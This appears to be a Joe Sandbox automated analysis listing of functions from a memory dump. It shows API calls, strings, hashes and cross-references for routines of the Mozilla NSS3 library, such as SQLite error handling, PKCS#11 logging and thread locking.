Instruction ID: 5ce58ee1d46a83fa39c58e3c48bd82d34f4236b9ea740e7dc5f155cc08b651d0
Opcode Fuzzy Hash: f48c3a114d70e2145c7be5b482edd84239b16a6be031edefe9e740d061cbe19b
Instruction Fuzzy Hash: F931B535602114ABCB209FA8DE8CFBA77B5AB4632DF444535E5095BB11D734BC09CF91

Function 6C844C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C844CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C844CFD
sqlite3_value_text16.NSS3(?), ref: 6C844D44

Strings

bad parameter or other API misuse, xrefs: 6C844D05
unknown error, xrefs: 6C844D56
another row available, xrefs: 6C844D20
out of memory, xrefs: 6C844C78, 6C844C9E
invalid, xrefs: 6C844CF1
no more rows available, xrefs: 6C844D2E
API call with %s database connection pointer, xrefs: 6C844CF6
abort due to ROLLBACK, xrefs: 6C844D27, 6C844D33

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: ff81e8d79d71d727696c4c177e522089026441cb52a8b3210456c1e53bcbda43
Instruction ID: 988e4d9a09574136d848f99557f2a2e7bc58048e6193edd759e818f707393044
Opcode Fuzzy Hash: ff81e8d79d71d727696c4c177e522089026441cb52a8b3210456c1e53bcbda43
Instruction Fuzzy Hash: A2317772A0491CA7E7380E249B047A5B32177C231AF5ACD36D8245BE14CB74AC16C3E2

Function 6C7A2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C7A2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A2E33

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C7A2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C7A2E81

Strings

hSession = 0x%x, xrefs: 6C7A2E0E, 6C7A2E1E
pPin = 0x%p, xrefs: 6C7A2E63
C_InitPIN, xrefs: 6C7A2DF1
(CK_INVALID_HANDLE), xrefs: 6C7A2E2C
ulPinLen = %d, xrefs: 6C7A2E7C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 5a10260c4cc573ba40c7a2e9f8475cd169a25cd5fa1404b8a4fc778922809f55
Instruction ID: 55ca63f932814b56694837c9ab517b0352302d8f86d8c0a526fc939bec17de72
Opcode Fuzzy Hash: 5a10260c4cc573ba40c7a2e9f8475cd169a25cd5fa1404b8a4fc778922809f55
Instruction Fuzzy Hash: 6E31D071602154ABDB308B998F4CB9A77B9EB4631DF048535E80DA7B12DB34BC49CBD2

Function 6C7A6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C7A6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A6F53

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7A6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C7A6FA1

Strings

C_DigestUpdate, xrefs: 6C7A6F11
hSession = 0x%x, xrefs: 6C7A6F2E, 6C7A6F3E
pPart = 0x%p, xrefs: 6C7A6F83
ulPartLen = %d, xrefs: 6C7A6F9C
(CK_INVALID_HANDLE), xrefs: 6C7A6F4C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 5d7cf4788b445ca9e335bdc9556f9b155b7c76e9867f58ab5543091f42759f3b
Instruction ID: 4b93e1f42eeb91376c8466c1885b5b57253024eef81e0e19b44b2d5813fb5491
Opcode Fuzzy Hash: 5d7cf4788b445ca9e335bdc9556f9b155b7c76e9867f58ab5543091f42759f3b
Instruction Fuzzy Hash: 6131C135602154AFDB309BA8DE4CB9A77B1EB8631DF084435E809A7B12DB34BD49CBD1

Function 6C712450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7124BA
LeaveCriticalSection.KERNEL32(?), ref: 6C71250D
EnterCriticalSection.KERNEL32(?), ref: 6C712554
LeaveCriticalSection.KERNEL32(?), ref: 6C7125A7
EnterCriticalSection.KERNEL32(?), ref: 6C712609
LeaveCriticalSection.KERNEL32(?), ref: 6C71265F
EnterCriticalSection.KERNEL32(?), ref: 6C7126A2
LeaveCriticalSection.KERNEL32(?), ref: 6C7126F5
EnterCriticalSection.KERNEL32(?), ref: 6C712764
LeaveCriticalSection.KERNEL32(?), ref: 6C712898
EnterCriticalSection.KERNEL32(?), ref: 6C7128D0
EnterCriticalSection.KERNEL32(?), ref: 6C712948
LeaveCriticalSection.KERNEL32(?), ref: 6C71299B
EnterCriticalSection.KERNEL32(?), ref: 6C7129E2
LeaveCriticalSection.KERNEL32(?), ref: 6C712A31

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 0e8526a9a2487b9e009874362d88001ef49afe49bac6756c1d573fe245512b59
Instruction ID: b8490b30e60c60d502556e7df4a38b476cf40d90ee363035ce06eb5c52d72ac1
Opcode Fuzzy Hash: 0e8526a9a2487b9e009874362d88001ef49afe49bac6756c1d573fe245512b59
Instruction Fuzzy Hash: 5DF18031B091108FDB24AF65DA9EA6A3770BF87729B1C013DD90657E41CB39AE41CBD2

Function 6C7DE400 Relevance: 18.2, APIs: 12, Instructions: 206threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7DDAE2,?), ref: 6C7DC6C2

SECOID_GetAlgorithmTag_Util.NSS3(-000000D8), ref: 6C7DE4A0
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DE4B1
SECOID_GetAlgorithmTag_Util.NSS3(-00000010), ref: 6C7DE4C4
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7DE4D2
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,00000000), ref: 6C7DE525
PK11_FreeSymKey.NSS3(00000000), ref: 6C7DE592
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C7DE5CF
PR_GetCurrentThread.NSS3 ref: 6C7DE5F2
PR_SetError.NSS3(00000000,00000000), ref: 6C7DE601
PK11_PubUnwrapSymKey.NSS3(?,?,-00000001,00000105,00000000), ref: 6C7DE620
PR_GetCurrentThread.NSS3 ref: 6C7DE632
PR_SetError.NSS3(00000000,00000000), ref: 6C7DE641

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmK11_$CurrentErrorFindFreeThread$DestroyPrivateUnwrap
String ID:
API String ID: 2900466288-0
Opcode ID: d23d9afd90a38059c6a960a1d6d4f712fe572469f1d659c2466b698119bd2c86
Instruction ID: b246a748e22377923509a693c8bf263df0660e442733d6fb0a915d5c0e1449e7
Opcode Fuzzy Hash: d23d9afd90a38059c6a960a1d6d4f712fe572469f1d659c2466b698119bd2c86
Instruction Fuzzy Hash: 2361A2B1A112099FDB11CF68DE89A6BB7E8AF04248F550539E80697B12F731F904CBE1

Function 6C842D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C842D9F

Part of subcall function 6C6FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C75F9C9,?,6C75F4DA,6C75F9C9,?,?,6C72369A), ref: 6C6FCA7A
Part of subcall function 6C6FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6FCB26

sqlite3_exec.NSS3(?,?,6C842F70,?,?), ref: 6C842DF9
sqlite3_free.NSS3(00000000), ref: 6C842E2C
sqlite3_free.NSS3(?), ref: 6C842E3A
sqlite3_free.NSS3(?), ref: 6C842E52
sqlite3_mprintf.NSS3(6C8AAAF9,?), ref: 6C842E62
sqlite3_free.NSS3(?), ref: 6C842E70
sqlite3_free.NSS3(?), ref: 6C842E89
sqlite3_free.NSS3(?), ref: 6C842EBB
sqlite3_free.NSS3(?), ref: 6C842ECB
sqlite3_free.NSS3(00000000), ref: 6C842F3E
sqlite3_free.NSS3(?), ref: 6C842F4C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: dc93d841dd5fad43cefc3e36de4a4e9fc76e8fb66b68b0bed9f9b02b3aa30b29
Instruction ID: dab63c2c2cbb5af3b0babc9c70a5736d099bd7ad056b0d6129e5b7028318f722
Opcode Fuzzy Hash: dc93d841dd5fad43cefc3e36de4a4e9fc76e8fb66b68b0bed9f9b02b3aa30b29
Instruction Fuzzy Hash: 1B61B2B5E042098BEB20CFA8D984BDEB7B2EF49348F118424DC15E7701E739E855CBA5

Function 6C6F4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4D97
PR_Lock.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4DBA
PR_WaitCondVar.NSS3 ref: 6C6F4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4DEF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 50be07e2d019ca0a30df2a2f784978a7c9f76f680f727127aa54ec30d6c1373a
Instruction ID: c4cabf4598df70b83e39adecf617076c54a5c36936acca1d704af290c3936c3f
Opcode Fuzzy Hash: 50be07e2d019ca0a30df2a2f784978a7c9f76f680f727127aa54ec30d6c1373a
Instruction Fuzzy Hash: 8B4191B5A08611CFCB20AF78D18816977F5BF05328F054639D8989BB00E730E886CBD5

Function 6C794E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C794E90
EnterCriticalSection.KERNEL32 ref: 6C794EA9
TlsGetValue.KERNEL32 ref: 6C794EC6
EnterCriticalSection.KERNEL32 ref: 6C794EDF
PL_HashTableLookup.NSS3 ref: 6C794EF8
PR_Unlock.NSS3 ref: 6C794F05
PR_Now.NSS3 ref: 6C794F13
PR_Unlock.NSS3 ref: 6C794F3A

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Strings

bUyl, xrefs: 6C794E5C
bUyl, xrefs: 6C794F3F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUyl$bUyl
API String ID: 326028414-4202475308
Opcode ID: fa25cdb193536a1c426e3bc67db21090701fae0b03651666c970930530c1e58a
Instruction ID: c1a13988690f978bb4b4278f0058345b720fb03acfa6c8a37690b58a06c55176
Opcode Fuzzy Hash: fa25cdb193536a1c426e3bc67db21090701fae0b03651666c970930530c1e58a
Instruction Fuzzy Hash: 1D4148B4A046059FCB10EF78D1848AABBF0FF49358B058679EC599B711EB30E895CBD1

Function 6C760600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6C760623
GetLastError.KERNEL32(?,?,?,?,?,6C7605E2), ref: 6C760642
TlsGetValue.KERNEL32(?,?,?,?,?,6C7605E2), ref: 6C76065D
GetLastError.KERNEL32 ref: 6C760678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C76068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C760693
PR_SetErrorText.NSS3(00000000,?), ref: 6C76069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,5892708D,?,?,?,?,?,6C7605E2), ref: 6C7606CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C7605E2), ref: 6C7606E6

Strings

error %d, xrefs: 6C760682

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 326cf02867cafd2111b76a959cbf4bde303c926d0bbe4430bfba27d0b61cdb2a
Instruction ID: d119f6828b65cb869c604cc50e04edafc36e5baa65b2571c8978bee5267ca359
Opcode Fuzzy Hash: 326cf02867cafd2111b76a959cbf4bde303c926d0bbe4430bfba27d0b61cdb2a
Instruction Fuzzy Hash: 3A210871E401809BEB107B3F9E08A5A77B4AF8231DF150578DC0897F52EB319914C7EA

Function 6C7BECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C7BDE64), ref: 6C7BED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7BED22

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

PL_FreeArenaPool.NSS3(?), ref: 6C7BED4A
PL_FinishArenaPool.NSS3(?), ref: 6C7BED6B
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C7BED38

Part of subcall function 6C6F4C70: TlsGetValue.KERNEL32(?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4C97
Part of subcall function 6C6F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CB0
Part of subcall function 6C6F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C7BED52
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C7BED83
PL_FreeArenaPool.NSS3(?), ref: 6C7BED95
PL_FinishArenaPool.NSS3(?), ref: 6C7BED9D

Part of subcall function 6C7D64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C7D127C,00000000,00000000,00000000), ref: 6C7D650E

Strings

security, xrefs: 6C7BED06

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 1077638ef55148c400991d23303424b27f406dd05b984560bb913197df747fee
Instruction ID: 800bef98b8cdac35a7a42216f96c74972949155a071c9da6d0e01fe728124171
Opcode Fuzzy Hash: 1077638ef55148c400991d23303424b27f406dd05b984560bb913197df747fee
Instruction Fuzzy Hash: 371157769002186BE6205A65AF4ABBB7278AF0160CF060DB4E815B2F40FB74B70CD6D6

Function 6C7A2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C7A2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C7A2D07

Part of subcall function 6C8809D0: PR_Now.NSS3 ref: 6C880A22
Part of subcall function 6C8809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C880A35
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C880A66
Part of subcall function 6C8809D0: PR_GetCurrentThread.NSS3 ref: 6C880A70
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C880A9D
Part of subcall function 6C8809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C880AC8
Part of subcall function 6C8809D0: PR_vsmprintf.NSS3(?,?), ref: 6C880AE8
Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880B19
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880B48
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880C76
Part of subcall function 6C8809D0: PR_LogFlush.NSS3 ref: 6C880C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C7A2D22

Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880B88
Part of subcall function 6C8809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C880C5D
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C880C8D
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880C9C
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880CD1
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C880CEC
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880CFB
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880D16
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C880D26
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880D35
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C880D65
Part of subcall function 6C8809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C880D70
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880D90
Part of subcall function 6C8809D0: free.MOZGLUE(00000000), ref: 6C880D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C7A2D3B

Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C880BAB
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880BBA
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C7A2D54

Part of subcall function 6C8809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C880BCB
